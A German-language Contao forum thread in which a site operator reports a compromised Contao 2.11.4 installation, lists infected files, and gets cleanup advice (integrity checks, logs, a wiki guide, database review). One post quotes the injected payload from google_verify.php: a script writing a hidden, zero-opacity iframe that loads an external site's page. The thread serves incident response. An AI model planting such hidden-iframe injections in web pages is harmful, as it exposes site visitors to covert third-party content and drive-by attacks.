Contao 2.11.4 gehackt?

**valentin** · 02.11.2012, 13:22

Liebe Contao-Community,

ich würde euch gerne um euren Rat bitten.
Eine Contao Installation (2.11.4) lag auf einem Server mit unter anderem älteren Wordpress Instanzen und anderen Scripts von einem Vorgänger.
Am 26.10. bekomme ich die Info, dass anscheinend über ein Skript eine Reihe von Files "infiziert" wurden bzw. der Server gehackt. Meine Vermutung war von Anfang an, dass es wohl eines der alten Skripts war.

Hier die Liste der infizierten files, wie ihr seht betrifft es nur wenige Contao Files und es wurden hauptsächlich php Files in Ordner kopiert.

Code:

domain.com/2009/js/jquery.js
domain.com/2009/js/thickbox.js
domain.com/2010/easEd/view/grid/dist/editor.min.js
domain.com/2010/easEd/view/grid/dist/editor.pack.js
domain.com/2010/easEd/view/grid/lib/firebug/firebug.js
domain.com/2010/easEd/view/grid/lib/firebug/firebugx.js
domain.com/2010/easEd/view/grid/lib/jquery.json.min.js
domain.com/2010/easEd/view/grid/lib/jquery.min.js
domain.com/2010/easEd/view/grid/index.html
domain.com/2010/easEd/view/inc/main_footer.tpl
domain.com/2010/easEd/view/inc/main_header.tpl
domain.com/2010/easEd/view/js/picpreview.js
domain.com/2010/easEd/view/js/eased.js
domain.com/2010/easEd/view/js/skype.js
domain.com/2010/easEd/view/multiupload/jquery.MultiFile.pack.js
domain.com/2010/easEd/view/multiupload/jquery.min.js
domain.com/2010/easEd/view/multiupload/swfupload.handler.js
domain.com/2010/easEd/view/multiupload/swfupload.js
domain.com/2010/easEd/view/tags/GrowingInput.js
domain.com/2010/easEd/view/tags/TextboxList.js
domain.com/2010/easEd/view/tags/TextboxList.Autocomplete.Binary.js
domain.com/2010/easEd/view/tags/TextboxList.Autocomplete.js
domain.com/2010/easEd/view/tags/dragdrop.js
domain.com/2010/easEd/view/tags/easytags.min.js
domain.com/2010/easEd/view/tags/mootools-1.2.1-core-yc.js
domain.com/2010/easEd/view/home.tpl
domain.com/2010/js/jquery.js
domain.com/2010/js/jquery.lightbox-0.5.min.js
domain.com/2010/press/index.html
domain.com/2010/presse/index.html
domain.com/2010/index_en.html
domain.com/2010/index.html
domain.com/easEd/projects/curatedby/view/scripts/common.js
domain.com/easEd/view/grid/dist/editor.min.js
domain.com/easEd/view/grid/dist/editor.pack.js
domain.com/easEd/view/grid/lib/firebug/firebug.js
domain.com/easEd/view/grid/lib/firebug/firebugx.js
domain.com/easEd/view/grid/lib/jquery.json.min.js
domain.com/easEd/view/grid/lib/jquery.min.js
domain.com/easEd/view/grid/index.html
domain.com/easEd/view/inc/main_footer.tpl
domain.com/easEd/view/inc/main_header.tpl
domain.com/easEd/view/js/picpreview.js
domain.com/easEd/view/js/eased.js
domain.com/easEd/view/js/skype.js
domain.com/easEd/view/multiupload/jquery.MultiFile.pack.js
domain.com/easEd/view/multiupload/jquery.min.js
domain.com/easEd/view/multiupload/swfupload.handler.js
domain.com/easEd/view/multiupload/swfupload.js
domain.com/easEd/view/tags/GrowingInput.js
domain.com/easEd/view/tags/TextboxList.js
domain.com/easEd/view/tags/TextboxList.Autocomplete.Binary.js
domain.com/easEd/view/tags/TextboxList.Autocomplete.js
domain.com/easEd/view/tags/dragdrop.js
domain.com/easEd/view/tags/easytags.min.js
domain.com/easEd/view/tags/mootools-1.2.1-core-yc.js
domain.com/easEd/view/home.tpl
domain.com/js/backstretch.js
domain.com/js/jquery.js
domain.com/contao/contao-uncompressed.js
domain.com/contao/contao.js
domain.com/plugins/chosen/chosen-uncompressed.js
domain.com/plugins/chosen/chosen.js
domain.com/plugins/codeMirror/src/clike.js
domain.com/plugins/codeMirror/src/codemirror.js
domain.com/plugins/codeMirror/src/css.js
domain.com/plugins/codeMirror/src/diff.js
domain.com/plugins/codeMirror/src/htmlmixed.js
domain.com/plugins/codeMirror/src/javascript.js
domain.com/plugins/codeMirror/src/overlay.js
domain.com/plugins/codeMirror/src/php.js
domain.com/plugins/codeMirror/src/runmode.js
domain.com/plugins/codeMirror/src/sql.js
domain.com/plugins/codeMirror/src/xml.js
domain.com/plugins/codeMirror/codemirror.js
domain.com/plugins/colorpicker/js/mooRainbow-uncompressed.js
domain.com/plugins/colorpicker/js/mooRainbow.js
domain.com/plugins/css3pie/PIE-uncompressed.js
domain.com/plugins/css3pie/PIE.js
domain.com/plugins/datepicker/src/Picker.Attach.js
domain.com/plugins/datepicker/src/Picker.Date.js
domain.com/plugins/datepicker/src/Picker.Date.Range.js
domain.com/plugins/datepicker/src/Picker.js
domain.com/plugins/datepicker/datepicker.js
domain.com/plugins/highlighter/src/shBrushAS3.js
domain.com/plugins/highlighter/src/shBrushBash.js
domain.com/plugins/highlighter/src/shBrushCpp.js
domain.com/plugins/highlighter/src/shBrushCSharp.js
domain.com/plugins/highlighter/src/shBrushCss.js
domain.com/plugins/highlighter/src/shBrushDelphi.js
domain.com/plugins/highlighter/src/shBrushDiff.js
domain.com/plugins/highlighter/src/shBrushGroovy.js
domain.com/plugins/highlighter/src/shBrushJava.js
domain.com/plugins/highlighter/src/shBrushJavaFX.js
domain.com/plugins/highlighter/src/shBrushJScript.js
domain.com/plugins/highlighter/src/shBrushPerl.js
domain.com/plugins/highlighter/src/shBrushPhp.js
domain.com/plugins/highlighter/src/shBrushPlain.js
domain.com/plugins/highlighter/src/shBrushPowerShell.js
domain.com/plugins/highlighter/src/shBrushPython.js
domain.com/plugins/highlighter/src/shBrushRuby.js
domain.com/plugins/highlighter/src/shBrushScala.js
domain.com/plugins/highlighter/src/shBrushSql.js
domain.com/plugins/highlighter/src/shBrushVb.js
domain.com/plugins/highlighter/src/shBrushXml.js
domain.com/plugins/highlighter/src/shCore.js
domain.com/plugins/highlighter/src/XRegExp.js
domain.com/plugins/highlighter/XRegExp.js
domain.com/plugins/highlighter/shBrushAS3.js
domain.com/plugins/highlighter/shBrushBash.js
domain.com/plugins/highlighter/shBrushCpp.js
domain.com/plugins/highlighter/shBrushCSharp.js
domain.com/plugins/highlighter/shBrushCss.js
domain.com/plugins/highlighter/shBrushDelphi.js
domain.com/plugins/highlighter/shBrushDiff.js
domain.com/plugins/highlighter/shBrushGroovy.js
domain.com/plugins/highlighter/shBrushJava.js
domain.com/plugins/highlighter/shBrushJavaFX.js
domain.com/plugins/highlighter/shBrushJScript.js
domain.com/plugins/highlighter/shBrushPerl.js
domain.com/plugins/highlighter/shBrushPhp.js
domain.com/plugins/highlighter/shBrushPlain.js
domain.com/plugins/highlighter/shBrushPowerShell.js
domain.com/plugins/highlighter/shBrushPython.js
domain.com/plugins/highlighter/shBrushRuby.js
domain.com/plugins/highlighter/shBrushScala.js
domain.com/plugins/highlighter/shBrushSql.js
domain.com/plugins/highlighter/shBrushVb.js
domain.com/plugins/highlighter/shBrushXml.js
domain.com/plugins/highlighter/shCore.js
domain.com/plugins/html5shim/html5-1.6.2.js
domain.com/plugins/html5shim/html5-3.js
domain.com/plugins/mediabox/1.2.5/js/mediabox-uncompressed.js
domain.com/plugins/mediabox/1.2.5/js/mediabox.js
domain.com/plugins/mediabox/1.2.5/js/Quickie.js
domain.com/plugins/mediabox/1.3.4/js/mediabox-uncompressed.js
domain.com/plugins/mediabox/1.3.4/js/mediabox.js
domain.com/plugins/mediabox/1.3.4/js/Quickie.js
domain.com/plugins/mediabox/1.4.6/js/mediabox-uncompressed.js
domain.com/plugins/mediabox/1.4.6/js/mediabox.js
domain.com/plugins/mediabox/1.4.6/js/Quickie.js
domain.com/plugins/mootools/1.2.5/mootools-core-uncompressed.js
domain.com/plugins/mootools/1.2.5/mootools-core.js
domain.com/plugins/mootools/1.2.5/mootools-more-uncompressed.js
domain.com/plugins/mootools/1.2.5/mootools-more.js
domain.com/plugins/mootools/1.3.2/mootools-core-uncompressed.js
domain.com/plugins/mootools/1.3.2/mootools-core.js
domain.com/plugins/mootools/1.3.2/mootools-more-uncompressed.js
domain.com/plugins/mootools/1.3.2/mootools-more.js
domain.com/plugins/mootools/1.4.5/mootools-core-uncompressed.js
domain.com/plugins/mootools/1.4.5/mootools-core.js
domain.com/plugins/mootools/1.4.5/mootools-more-uncompressed.js
domain.com/plugins/mootools/1.4.5/mootools-more.js
domain.com/plugins/slimbox/js/slimbox-uncompressed.js
domain.com/plugins/slimbox/js/slimbox.js
domain.com/plugins/stylect/js/stylect-uncompressed.js
domain.com/plugins/stylect/js/stylect.js
domain.com/plugins/tablesort/js/tablesort-uncompressed.js
domain.com/plugins/tablesort/js/tablesort.js
domain.com/plugins/ajax-upload/js/ajaxupload.js
domain.com/templates/google_verify.php
domain.com/index.php
domain.com/2011/index.html
domain.com/2011/index_en.html
domain.com/2011/js/fancybox.js
domain.com/2011/js/jquery.js
domain.com/tl_files/tiny_templates/index.html
domain.com/system/config/google_verify.php
domain.com/system/drivers/google_verify.php
domain.com/system/html/index.html
domain.com/system/modules/backend/config/google_verify.php
domain.com/system/modules/backend/dca/google_verify.php
domain.com/system/modules/backend/languages/de/google_verify.php
domain.com/system/modules/backend/languages/en/google_verify.php
domain.com/system/modules/backend/templates/google_verify.php
domain.com/system/modules/calendar/config/google_verify.php
domain.com/system/modules/calendar/dca/google_verify.php
domain.com/system/modules/calendar/languages/de/google_verify.php
domain.com/system/modules/calendar/languages/en/google_verify.php
domain.com/system/modules/calendar/templates/google_verify.php
domain.com/system/modules/comments/config/google_verify.php
domain.com/system/modules/comments/dca/google_verify.php
domain.com/system/modules/comments/languages/de/google_verify.php
domain.com/system/modules/comments/languages/en/google_verify.php
domain.com/system/modules/comments/templates/google_verify.php
domain.com/system/modules/faq/config/google_verify.php
domain.com/system/modules/faq/dca/google_verify.php
domain.com/system/modules/faq/languages/de/google_verify.php
domain.com/system/modules/faq/languages/en/google_verify.php
domain.com/system/modules/faq/templates/google_verify.php
domain.com/system/modules/frontend/config/google_verify.php
domain.com/system/modules/frontend/languages/de/google_verify.php
domain.com/system/modules/frontend/languages/en/google_verify.php
domain.com/system/modules/frontend/templates/google_verify.php
domain.com/system/modules/listing/config/google_verify.php
domain.com/system/modules/listing/dca/google_verify.php
domain.com/system/modules/listing/languages/de/google_verify.php
domain.com/system/modules/listing/languages/en/google_verify.php
domain.com/system/modules/listing/templates/google_verify.php
domain.com/system/modules/news/config/google_verify.php
domain.com/system/modules/news/dca/google_verify.php
domain.com/system/modules/news/languages/de/google_verify.php
domain.com/system/modules/news/languages/en/google_verify.php
domain.com/system/modules/news/templates/google_verify.php
domain.com/system/modules/newsletter/config/google_verify.php
domain.com/system/modules/newsletter/dca/google_verify.php
domain.com/system/modules/newsletter/languages/de/google_verify.php
domain.com/system/modules/newsletter/languages/en/google_verify.php
domain.com/system/modules/newsletter/templates/google_verify.php
domain.com/system/modules/registration/config/google_verify.php
domain.com/system/modules/registration/dca/google_verify.php
domain.com/system/modules/registration/languages/de/google_verify.php
domain.com/system/modules/registration/languages/en/google_verify.php
domain.com/system/modules/registration/templates/google_verify.php
domain.com/system/modules/rep_base/dca/google_verify.php
domain.com/system/modules/rep_base/languages/de/google_verify.php
domain.com/system/modules/rep_base/languages/en/google_verify.php
domain.com/system/modules/rep_client/config/google_verify.php
domain.com/system/modules/rep_client/dca/google_verify.php
domain.com/system/modules/rep_client/languages/de/google_verify.php
domain.com/system/modules/rep_client/languages/en/google_verify.php
domain.com/system/modules/rep_client/templates/google_verify.php
domain.com/system/modules/rss_reader/config/google_verify.php
domain.com/system/modules/rss_reader/dca/google_verify.php
domain.com/system/modules/rss_reader/languages/de/google_verify.php
domain.com/system/modules/rss_reader/languages/en/google_verify.php
domain.com/system/modules/rss_reader/templates/google_verify.php
domain.com/system/modules/tasks/config/google_verify.php
domain.com/system/modules/tasks/languages/de/google_verify.php
domain.com/system/modules/tasks/languages/en/google_verify.php
domain.com/system/modules/tasks/templates/google_verify.php
domain.com/system/modules/tpl_editor/config/google_verify.php
domain.com/system/modules/tpl_editor/dca/google_verify.php
domain.com/system/modules/tpl_editor/languages/de/google_verify.php
domain.com/system/modules/tpl_editor/languages/en/google_verify.php
domain.com/system/modules/i18nl10n/config/google_verify.php
domain.com/system/modules/i18nl10n/dca/google_verify.php
domain.com/system/modules/i18nl10n/html/l10n.js
domain.com/system/modules/i18nl10n/languages/de/google_verify.php
domain.com/system/modules/i18nl10n/languages/en/google_verify.php
domain.com/system/modules/i18nl10n/templates/google_verify.php
domain.com/system/modules/catalog/config/google_verify.php
domain.com/system/modules/catalog/dca/google_verify.php
domain.com/system/modules/catalog/languages/cs/google_verify.php
domain.com/system/modules/catalog/languages/de/google_verify.php
domain.com/system/modules/catalog/languages/en/google_verify.php
domain.com/system/modules/catalog/languages/fa/google_verify.php
domain.com/system/modules/catalog/languages/fr/google_verify.php
domain.com/system/modules/catalog/languages/it/google_verify.php
domain.com/system/modules/catalog/languages/lv/google_verify.php
domain.com/system/modules/catalog/languages/nl/google_verify.php
domain.com/system/modules/catalog/languages/ru/google_verify.php
domain.com/system/modules/catalog/languages/sv/google_verify.php
domain.com/system/modules/catalog/templates/be_catalogmaintenance.tpl
domain.com/system/modules/catalog/templates/filter_default.tpl
domain.com/system/modules/catalog/templates/google_verify.php
domain.com/system/modules/backend_filterwiz/config/google_verify.php
domain.com/system/modules/backend_filterwiz/html/filterwizard.js
domain.com/system/modules/backend_tabletree/config/google_verify.php
domain.com/system/modules/backend_tabletree/html/tabletreewizard.js
domain.com/system/modules/backend_tabletree/html/tabletreewizard_notoken.js
domain.com/system/modules/backend_tabletree/languages/cs/google_verify.php
domain.com/system/modules/backend_tabletree/languages/de/google_verify.php
domain.com/system/modules/backend_tabletree/languages/en/google_verify.php
domain.com/system/modules/backend_tabletree/languages/fr/google_verify.php
domain.com/system/modules/backend_tabletree/languages/it/google_verify.php
domain.com/system/modules/backend_tabletree/languages/lv/google_verify.php
domain.com/system/modules/backend_tabletree/languages/ru/google_verify.php
domain.com/system/modules/taxonomy/config/google_verify.php
domain.com/system/modules/taxonomy/dca/google_verify.php
domain.com/system/modules/taxonomy/html/taxonomywizard.js
domain.com/system/modules/taxonomy/languages/cs/google_verify.php
domain.com/system/modules/taxonomy/languages/de/google_verify.php
domain.com/system/modules/taxonomy/languages/en/google_verify.php
domain.com/system/modules/taxonomy/languages/fr/google_verify.php
domain.com/system/modules/taxonomy/languages/it/google_verify.php
domain.com/system/modules/taxonomy/languages/lv/google_verify.php
domain.com/system/modules/taxonomy/languages/nl/google_verify.php
domain.com/system/modules/taxonomy/languages/pl/google_verify.php
domain.com/system/modules/taxonomy/languages/ru/google_verify.php
domain.com/system/modules/ce-access/languages/it/google_verify.php
domain.com/system/modules/z_custombemodule/config/google_verify.php
domain.com/system/modules/z_custombemodule/dca/google_verify.php
domain.com/system/modules/z_custombemodule/languages/de/google_verify.php
domain.com/system/modules/z_custombemodule/languages/en/google_verify.php
domain.com/system/modules/valumsFileUploader/config/google_verify.php
domain.com/system/modules/valumsFileUploader/dca/google_verify.php
domain.com/system/modules/valumsFileUploader/html/js/valumsFileUploader.js
domain.com/system/modules/valumsFileUploader/html/js/vfuHelper.js
domain.com/system/modules/valumsFileUploader/languages/de/google_verify.php
domain.com/system/modules/valumsFileUploader/languages/en/google_verify.php
domain.com/system/modules/valumsFileUploader/templates/google_verify.php
domain.com/system/modules/googleanalytics/config/google_verify.php
domain.com/system/modules/googleanalytics/dca/google_verify.php
domain.com/system/modules/googleanalytics/languages/cs/google_verify.php
domain.com/system/modules/googleanalytics/languages/de/google_verify.php
domain.com/system/modules/googleanalytics/languages/en/google_verify.php
domain.com/system/modules/googleanalytics/languages/fr/google_verify.php
domain.com/system/modules/googleanalytics/languages/ja/google_verify.php
domain.com/system/modules/googleanalytics/languages/google_verify.php
domain.com/system/modules/meta_editor/config/google_verify.php
domain.com/system/modules/meta_editor/dca/google_verify.php
domain.com/system/modules/meta_editor/languages/de/google_verify.php
domain.com/system/modules/meta_editor/languages/en/google_verify.php
domain.com/system/modules/meta_editor/languages/it/google_verify.php
domain.com/system/modules/meta_editor/languages/google_verify.php
domain.com/system/modules/meta_editor/templates/google_verify.php
domain.com/system/scripts/e53a815ab435.js
domain.com/system/scripts/index.html
domain.com/system/scripts/c4fce4b3d7c5.js
domain.com/system/scripts/c01a36369554.js
domain.com/system/themes/default/hover.js
domain.com/system/themes/default/src/hover.js
domain.com/system/tmp/google_verify.php
domain.com/google_verify.php

Dieses google_verify.php hatte folgenden Inhalt:

PHP-Code:


<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

Weiß da jemand was genaueres?

So, jedenfalls, der Serverbetreiber hat darauf bestanden, dass ich die "infizierten" files austausche. Das habe ich also gemacht. Er ging mit dem Server auch erst wieder online bis ich die File "system/constants.php" von Version 2.11.4 auf 2.11.6 upgedated habe.
Ich habe ihm den Wunsch erfüllt, auch wenn ich´s irgendwie sinnlos fand.

Ein paar andere Ordner - hauptsächlich aus dem Ordner "modules" - habe ich auch ersetzt.
So, nun ist der Server wieder online und sowohl im Frontend/Backend als auch im install.php kommt nur eine weiße Seite...

Was soll ich machen?
Jemand einen Plan?
Und so allgemein, kann ich das dem Kunden verrechnen? Sind ja doch wieder einige Stunden Arbeit die da auf mich zukommen wie´s scheint!
Wie macht ihr das denn?

**magicsepp** · 02.11.2012, 13:35

als erstes conto check ausführen ob die Grundinstalltion so jetzt in Ordnung ist und kein .4 und .6 versionen mischmasch entstanden ist danach error.log anschauen - gegebenenfalls Fehlermeldungen aktivieren und schauen was dann passiert.

***lucina*** · 02.11.2012, 13:45

Bitte unter http://de.contaowiki.org/Contao_geha...ierten_Systems schauen und abarbeiten.

Du solltest in einer 2.11.4 mit Dateien ersetzen, die ebenfalls aus einer 2.11.4 stammen. Du solltest nach weiteren überzähligen Dateien a la verify.php Ausschau halten. Und Du solltest in die Datenbank schauen, ob da ggf. Contentelemente mit eigenem HTML angelegt wurden, PHP mittels {{file:: } } eingebunden wird.

Zur Klärung des Sachverhaltes sind Logs sehr hilfreich.

Kosten: wer's verursacht, der bezahlt's auch ... ;-)

**valentin** · 02.11.2012, 13:46

danke sepp, auf die Idee bin ich natürlich nicht gekommen.

So, was mich wundert - warum sagt behauptet der Check, dass eine 2.11.6 installiert ist?

Und dann glz. meint der check, dass contao nicht up to date ist.

Hier der log:

Version

Found a Contao 2.11.6 installation.

Missing files

Code:

.gitignore
.htaccess.default
tl_files/music_academy/admin.gif
tl_files/music_academy/background.gif
tl_files/music_academy/campus/campus_building.jpg
tl_files/music_academy/campus/campus_hall.jpg
tl_files/music_academy/campus/campus_library.jpg
tl_files/music_academy/campus/campus_overview.jpg
tl_files/music_academy/campus/meta.txt
tl_files/music_academy/frontendmodules.gif
tl_files/music_academy/image.png
tl_files/music_academy/james-wilson.jpg
tl_files/music_academy/layout.gif
tl_files/music_academy/modules.gif
tl_files/music_academy/news.gif
tl_files/music_academy/pagemounts.gif
tl_files/music_academy/permissions.gif
tl_files/music_academy/protect.gif
tl_files/music_academy/screenshot.jpg

Corrupt files

Code:

CHANGELOG.md
contao/contao-uncompressed.js
contao/contao.js
contao/index.php
contao/install.php
contao/main.php
plugins/idna/idna_convert.class.php
plugins/mediabox/1.2.5/js/mediabox.js
plugins/mediabox/1.3.4/js/mediabox.js
plugins/mediabox/1.4.6/js/mediabox-uncompressed.js
plugins/mediabox/1.4.6/js/mediabox.js
plugins/simplepie/simplepie.inc
plugins/stylect/js/stylect-uncompressed.js
plugins/stylect/js/stylect.js
plugins/tinyMCE/langs/ar.js
plugins/tinyMCE/langs/bg.js
plugins/tinyMCE/langs/cs.js
plugins/tinyMCE/langs/el.js
plugins/tinyMCE/langs/en.js
plugins/tinyMCE/langs/es.js
plugins/tinyMCE/langs/fa.js
plugins/tinyMCE/langs/he.js
plugins/tinyMCE/langs/ja.js
plugins/tinyMCE/langs/ko.js
plugins/tinyMCE/langs/lt.js
plugins/tinyMCE/langs/lv.js
plugins/tinyMCE/langs/nl.js
plugins/tinyMCE/langs/no.js
plugins/tinyMCE/langs/pl.js
plugins/tinyMCE/langs/ru.js
plugins/tinyMCE/langs/sk.js
plugins/tinyMCE/langs/sv.js
plugins/tinyMCE/langs/th.js
plugins/tinyMCE/langs/uk.js
plugins/tinyMCE/plugins/advimage/image.htm
plugins/tinyMCE/plugins/advimage/js/image.js
plugins/tinyMCE/plugins/advimage/langs/el_dlg.js
plugins/tinyMCE/plugins/advimage/langs/fa_dlg.js
plugins/tinyMCE/plugins/advimage/langs/ja_dlg.js
plugins/tinyMCE/plugins/advimage/langs/ko_dlg.js
plugins/tinyMCE/plugins/advimage/langs/lt_dlg.js
plugins/tinyMCE/plugins/advimage/langs/lv_dlg.js
plugins/tinyMCE/plugins/advimage/langs/nl_dlg.js
plugins/tinyMCE/plugins/advimage/langs/ru_dlg.js
plugins/tinyMCE/plugins/advimage/langs/uk_dlg.js
plugins/tinyMCE/plugins/autosave/editor_plugin.js
plugins/tinyMCE/plugins/autosave/editor_plugin_src.js
plugins/tinyMCE/plugins/emotions/emotions.htm
plugins/tinyMCE/plugins/emotions/img/smiley-foot-in-mouth.gif
plugins/tinyMCE/plugins/emotions/img/smiley-laughing.gif
plugins/tinyMCE/plugins/emotions/img/smiley-sealed.gif
plugins/tinyMCE/plugins/emotions/img/smiley-smile.gif
plugins/tinyMCE/plugins/emotions/img/smiley-surprised.gif
plugins/tinyMCE/plugins/emotions/img/smiley-wink.gif
plugins/tinyMCE/plugins/emotions/langs/bg_dlg.js
plugins/tinyMCE/plugins/emotions/langs/ca_dlg.js
plugins/tinyMCE/plugins/emotions/langs/el_dlg.js
plugins/tinyMCE/plugins/emotions/langs/es_dlg.js
plugins/tinyMCE/plugins/emotions/langs/fa_dlg.js
plugins/tinyMCE/plugins/emotions/langs/hu_dlg.js
plugins/tinyMCE/plugins/emotions/langs/ja_dlg.js
plugins/tinyMCE/plugins/emotions/langs/ko_dlg.js
plugins/tinyMCE/plugins/emotions/langs/lt_dlg.js
plugins/tinyMCE/plugins/emotions/langs/lv_dlg.js
plugins/tinyMCE/plugins/emotions/langs/no_dlg.js
plugins/tinyMCE/plugins/emotions/langs/sv_dlg.js
plugins/tinyMCE/plugins/emotions/langs/th_dlg.js
plugins/tinyMCE/plugins/emotions/langs/tr_dlg.js
plugins/tinyMCE/plugins/emotions/langs/uk_dlg.js
plugins/tinyMCE/plugins/inlinepopups/skins/clearlooks2/img/alert.gif
plugins/tinyMCE/plugins/inlinepopups/skins/clearlooks2/img/button.gif
plugins/tinyMCE/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif
plugins/tinyMCE/plugins/inlinepopups/skins/clearlooks2/img/corners.gif
plugins/tinyMCE/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif
plugins/tinyMCE/plugins/legacyoutput/editor_plugin.js
plugins/tinyMCE/plugins/legacyoutput/editor_plugin_src.js
plugins/tinyMCE/plugins/paste/editor_plugin.js
plugins/tinyMCE/plugins/paste/editor_plugin_src.js
plugins/tinyMCE/plugins/paste/langs/es_dlg.js
plugins/tinyMCE/plugins/paste/langs/ja_dlg.js
plugins/tinyMCE/plugins/paste/langs/ko_dlg.js
plugins/tinyMCE/plugins/searchreplace/langs/fa_dlg.js
plugins/tinyMCE/plugins/searchreplace/langs/ja_dlg.js
plugins/tinyMCE/plugins/searchreplace/langs/ko_dlg.js
plugins/tinyMCE/plugins/searchreplace/searchreplace.htm
plugins/tinyMCE/plugins/spellchecker/classes/EnchantSpell.php
plugins/tinyMCE/plugins/spellchecker/classes/PSpellShell.php
plugins/tinyMCE/plugins/spellchecker/editor_plugin.js
plugins/tinyMCE/plugins/spellchecker/editor_plugin_src.js
plugins/tinyMCE/plugins/style/css/props.css
plugins/tinyMCE/plugins/style/editor_plugin.js
plugins/tinyMCE/plugins/style/editor_plugin_src.js
plugins/tinyMCE/plugins/style/js/props.js
plugins/tinyMCE/plugins/style/langs/bg_dlg.js
plugins/tinyMCE/plugins/style/langs/el_dlg.js
plugins/tinyMCE/plugins/style/langs/en_dlg.js
plugins/tinyMCE/plugins/style/langs/es_dlg.js
plugins/tinyMCE/plugins/style/langs/fa_dlg.js
plugins/tinyMCE/plugins/style/langs/ja_dlg.js
plugins/tinyMCE/plugins/style/langs/ko_dlg.js
plugins/tinyMCE/plugins/style/langs/lt_dlg.js
plugins/tinyMCE/plugins/style/langs/lv_dlg.js
plugins/tinyMCE/plugins/style/langs/no_dlg.js
plugins/tinyMCE/plugins/style/langs/sv_dlg.js
plugins/tinyMCE/plugins/style/langs/th_dlg.js
plugins/tinyMCE/plugins/style/langs/uk_dlg.js
plugins/tinyMCE/plugins/style/langs/zh_dlg.js
plugins/tinyMCE/plugins/style/props.htm
plugins/tinyMCE/plugins/tabfocus/editor_plugin.js
plugins/tinyMCE/plugins/tabfocus/editor_plugin_src.js
plugins/tinyMCE/plugins/table/editor_plugin.js
plugins/tinyMCE/plugins/table/editor_plugin_src.js
plugins/tinyMCE/plugins/table/js/cell.js
plugins/tinyMCE/plugins/table/js/table.js
plugins/tinyMCE/plugins/table/langs/fa_dlg.js
plugins/tinyMCE/plugins/table/langs/ja_dlg.js
plugins/tinyMCE/plugins/table/langs/ko_dlg.js
plugins/tinyMCE/plugins/table/langs/lv_dlg.js
plugins/tinyMCE/plugins/table/langs/sv_dlg.js
plugins/tinyMCE/plugins/template/langs/ar_dlg.js
plugins/tinyMCE/plugins/template/langs/ja_dlg.js
plugins/tinyMCE/plugins/template/langs/ko_dlg.js
plugins/tinyMCE/plugins/xhtmlxtras/langs/fa_dlg.js
plugins/tinyMCE/plugins/xhtmlxtras/langs/ja_dlg.js
plugins/tinyMCE/plugins/xhtmlxtras/langs/ko_dlg.js
plugins/tinyMCE/plugins/xhtmlxtras/langs/pl_dlg.js
plugins/tinyMCE/themes/advanced/color_picker.htm
plugins/tinyMCE/themes/advanced/editor_template.js
plugins/tinyMCE/themes/advanced/editor_template_src.js
plugins/tinyMCE/themes/advanced/img/colorpicker.jpg
plugins/tinyMCE/themes/advanced/img/flash.gif
plugins/tinyMCE/themes/advanced/img/icons.gif
plugins/tinyMCE/themes/advanced/img/quicktime.gif
plugins/tinyMCE/themes/advanced/img/shockwave.gif
plugins/tinyMCE/themes/advanced/js/anchor.js
plugins/tinyMCE/themes/advanced/js/color_picker.js
plugins/tinyMCE/themes/advanced/js/image.js
plugins/tinyMCE/themes/advanced/js/link.js
plugins/tinyMCE/themes/advanced/js/source_editor.js
plugins/tinyMCE/themes/advanced/langs/ar_dlg.js
plugins/tinyMCE/themes/advanced/langs/bg_dlg.js
plugins/tinyMCE/themes/advanced/langs/ca_dlg.js
plugins/tinyMCE/themes/advanced/langs/cs.js
plugins/tinyMCE/themes/advanced/langs/cs_dlg.js
plugins/tinyMCE/themes/advanced/langs/da_dlg.js
plugins/tinyMCE/themes/advanced/langs/de_dlg.js
plugins/tinyMCE/themes/advanced/langs/el.js
plugins/tinyMCE/themes/advanced/langs/el_dlg.js
plugins/tinyMCE/themes/advanced/langs/en_dlg.js
plugins/tinyMCE/themes/advanced/langs/es_dlg.js
plugins/tinyMCE/themes/advanced/langs/fa.js
plugins/tinyMCE/themes/advanced/langs/fa_dlg.js
plugins/tinyMCE/themes/advanced/langs/fi_dlg.js
plugins/tinyMCE/themes/advanced/langs/fr_dlg.js
plugins/tinyMCE/themes/advanced/langs/he_dlg.js
plugins/tinyMCE/themes/advanced/langs/hu_dlg.js
plugins/tinyMCE/themes/advanced/langs/it_dlg.js
plugins/tinyMCE/themes/advanced/langs/ja.js
plugins/tinyMCE/themes/advanced/langs/ja_dlg.js
plugins/tinyMCE/themes/advanced/langs/ko.js
plugins/tinyMCE/themes/advanced/langs/ko_dlg.js
plugins/tinyMCE/themes/advanced/langs/lt_dlg.js
plugins/tinyMCE/themes/advanced/langs/lv.js
plugins/tinyMCE/themes/advanced/langs/lv_dlg.js
plugins/tinyMCE/themes/advanced/langs/nl_dlg.js
plugins/tinyMCE/themes/advanced/langs/no_dlg.js
plugins/tinyMCE/themes/advanced/langs/pl.js
plugins/tinyMCE/themes/advanced/langs/pl_dlg.js
plugins/tinyMCE/themes/advanced/langs/pt_dlg.js
plugins/tinyMCE/themes/advanced/langs/ro_dlg.js
plugins/tinyMCE/themes/advanced/langs/ru.js
plugins/tinyMCE/themes/advanced/langs/ru_dlg.js
plugins/tinyMCE/themes/advanced/langs/sk.js
plugins/tinyMCE/themes/advanced/langs/sk_dlg.js
plugins/tinyMCE/themes/advanced/langs/sv.js
plugins/tinyMCE/themes/advanced/langs/sv_dlg.js
plugins/tinyMCE/themes/advanced/langs/th_dlg.js
plugins/tinyMCE/themes/advanced/langs/tr_dlg.js
plugins/tinyMCE/themes/advanced/langs/uk.js
plugins/tinyMCE/themes/advanced/langs/uk_dlg.js
plugins/tinyMCE/themes/advanced/langs/zh_dlg.js
plugins/tinyMCE/themes/advanced/skins/default/dialog.css
plugins/tinyMCE/themes/advanced/skins/default/img/buttons.png
plugins/tinyMCE/themes/advanced/skins/default/img/items.gif
plugins/tinyMCE/themes/advanced/skins/default/img/tabs.gif
plugins/tinyMCE/themes/advanced/skins/default/ui.css
plugins/tinyMCE/themes/advanced/skins/highcontrast/dialog.css
plugins/tinyMCE/themes/advanced/skins/highcontrast/ui.css
plugins/tinyMCE/themes/advanced/skins/o2k7/dialog.css
plugins/tinyMCE/themes/advanced/skins/o2k7/img/button_bg.png
plugins/tinyMCE/themes/advanced/skins/o2k7/img/button_bg_black.png
plugins/tinyMCE/themes/advanced/skins/o2k7/img/button_bg_silver.png
plugins/tinyMCE/themes/advanced/skins/o2k7/ui.css
plugins/tinyMCE/themes/advanced/source_editor.htm
plugins/tinyMCE/themes/simple/img/icons.gif
